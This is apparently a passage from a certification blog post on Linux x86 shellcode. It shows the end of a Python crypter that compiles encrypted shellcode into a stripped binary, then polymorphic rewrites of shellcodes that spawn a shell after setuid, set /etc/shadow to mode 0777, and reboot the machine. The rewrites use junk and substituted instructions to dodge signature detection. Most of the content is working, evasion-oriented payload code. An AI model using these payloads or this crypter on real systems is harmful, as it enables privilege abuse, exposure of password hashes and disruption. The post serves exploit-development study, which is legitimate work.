        print_done("[+] Encrypted shellcode (len %d):" % (len(str_enc)))
        print "%s" % (str_enc)
    
        outline = open(decrypt_shell).read()
        code = outline % (str_iv, str_enc, sc_len, sc_len, password, len(password))
    
        # Write to temporary source file
        o = open(temp_src, "w")
        o.write(code)
        o.close()
    
        # Compile
        compile_cmd = "gcc -Wall -z execstack -o %s %s PolarSSL/aes.c PolarSSL/md5.c" % \
           (out_file, temp_src)
        print_done("[+] Compiling:") 
        print " -> %s" % compile_cmd
        os.system(compile_cmd)
    
    
        # Strip all symbols
        strip_cmd = "strip --strip-all %s" % (out_file)
        print " -> %s" % (strip_cmd)
        os.system(strip_cmd)
    
        # Delete intermediate files
        clean_cmd = "rm %s" % (temp_src)
        print " -> %s" % (clean_cmd)
        os.system(clean_cmd)
    
        print_ok("\n[*] Done. Run ./%s" % (out_file))
    

    The complete source files and scripts mentioned in this post can be found in the Git repository:
    SLAE

    This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
    www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
    Student ID: SLAE- 449

    Polymorphic shellcodes

     For this assignment I've taken 3 shellcodes from  Shell-Storm and modify them to avoid pattern matching. Some techniques I've used to do this:
    • Add garbage/nop-like instructions
      nop
      
      mov al,al  
      mov bl,bl  
      mov cl,cl  
      ...  
      mov ax,ax  
      mov bx,bx  
      mov cx,cx  
      ...  
      xchg ax,ax  
      xchg bx,bx  
      xchg cx,cx  
      ...  
      lea eax, [eax + 0x00]  
      lea eax, [eax + 0x00]  
      lea eax, [eax + 0x00]  
      
    • Add instructions without effect (e.g.: modify registers that don't affect the execution flow)
    • Switch between mov, (push + pop), (clear + add)
      mov push + pop clear + add
      mov al, 0xb push byte 0xb xor eax, eax
      pop eax add al, 0xb
    • Switch between push and (mov + add + push)
      push mov + add + push
      push 0x23456789 mov esi, 0x12345678
      add esi, 0x11111111
      push esi
    • Change between push and directly accessing the stack
      push stack access
      push 0x64777373 mov dword [esp-4], 0x64777373
      sub esp, 4

    Execve()

    First one is a polymorphic version of the execve() of the following shellcode:
        00000000  31C0              xor eax,eax
        00000002  31DB              xor ebx,ebx
        00000004  31C9              xor ecx,ecx
        00000006  B017              mov al,0x17
        00000008  CD80              int 0x80
        0000000A  31C0              xor eax,eax
        0000000C  50                push eax
        0000000D  686E2F7368        push dword 0x68732f6e
        00000012  682F2F6269        push dword 0x69622f2f
        00000017  89E3              mov ebx,esp
        00000019  8D542408          lea edx,[esp+0x8]
        0000001D  50                push eax
        0000001E  53                push ebx
        0000001F  8D0C24            lea ecx,[esp]
        00000022  B00B              mov al,0xb
        00000024  CD80              int 0x80
        00000026  31C0              xor eax,eax
        00000028  B001              mov al,0x1
        0000002A  CD80              int 0x80
    
    And my changed version :
        xor eax,eax
        mov ebx, eax            ; xor ebx,ebx
        mov ecx, ebx            ; xor ecx,ecx
        push 0x17               ; mov al,0x17
        pop ax
        xchg ecx, ecx           ; NOP added
        int 0x80                ; sys_setuid()
    
        xor eax,eax
        push eax
        mov dword [esp-4], 0x68732f6e ; push dword 0x68732f6e
        mov dword [esp-8], 0x69622f2f ; push dword 0x69622f2f
        sub esp, 8             ; increase the stack pointer
        mov ebx,esp
        lea edx,[esp+0x8]
        push eax
        push ebx
        lea ecx,[esp]
        mov al,0xb
        xor esi, esi            ; NOP added
        lea eax, [eax + esi]    ; NOP added
        int 0x80                ; execve()
    
        xor eax,eax
        mov al,0x1
        int 0x80                ; exit()
    
    
    I've changed how registers are zeroed and how values were pushed on the stack and added some instructions with no effect.

    Chmod /etc/shadow

     The next shellcode changes the permissions of /etc/shadow file:
    xor    %eax,%eax
    push   %eax
    pushl  $0x776f6461
    pushl  $0x68732f2f
    pushl  $0x6374652f
    movl   %esp,%esi
    push   %eax
    pushl  $0x37373730
    movl   %esp,%ebp
    push   %eax
    pushl  $0x646f6d68
    pushl  $0x632f6e69
    pushl  $0x622f2f2f
    mov    %esp,%ebx
    pushl  %eax
    pushl  %esi
    pushl  %ebp
    pushl  %ebx
    movl   %esp,%ecx
    mov    %eax,%edx
    mov    $0xb,%al
    int    $0x80
    
    And my changed version:
        xor eax,eax
        push eax
        push dword 0x776f6461
        mov esi, 0x56611d1d         ; push dword 0x68732f2f
        lea edi, [esi]              ; junk
        add esi, 0x12121212
        push esi
        push dword 0x6374652f       ; '/etc/shadow'
        mov esi,esp
        push eax
        push dword 0x37373730       ; 0777
        mov ebp,esp
        push eax
        push dword 0x646f6d68
        mov edi, 0x030f0e09         ; push dword 0x632f6e69       
        add edi, 0x60206060
        push edi
        push word 0x622f            ; /bin/chmod
        mov ebx,esp
        push eax
        push esi
        push ebp
        push ebx
        mov ecx,esp
        mov edx,eax
        xor eax, eax                ; mov al,0xb
        add al, 0xa
        add al, 0x1
        xchg ecx, ecx               ; NOP added
        int 0x80
    
    

    Reboot

    Last one is a reboot shellcode:
    8048054:       31 c0                   xor    %eax,%eax
    8048056:       50                      push   %eax
    8048057:       68 62 6f 6f 74          push   $0x746f6f62
    804805c:       68 6e 2f 72 65          push   $0x65722f6e
    8048061:       68 2f 73 62 69          push   $0x6962732f
    8048066:       89 e3                   mov    %esp,%ebx
    8048068:       50                      push   %eax
    8048069:       89 e2                   mov    %esp,%edx
    804806b:       53                      push   %ebx
    804806c:       89 e1                   mov    %esp,%ecx
    804806e:       b0 0b                   mov    $0xb,%al
    8048070:       cd 80                   int    $0x80
    
    And my modified version:
        xor eax,eax
        push eax
        push dword 0x746f6f62
        mov edi, 0x05020f0e      ; push dword 0x65722f6e
        add edi,0x60702060
        push edi
        push dword 0x6962732f    ; /sbin/reboot
        mov ebx,esp
        push eax
        mov edx,esp
        push ebx
        mov ecx,esp
        push 0xa
        pop eax
        add al, 1                ; mov al,0xb
        int 0x80
    

    The complete source files and scripts mentioned in this post can be found in the Git repository:
    SLAE

    This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:       
    www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/   
    Student ID: SLAE- 449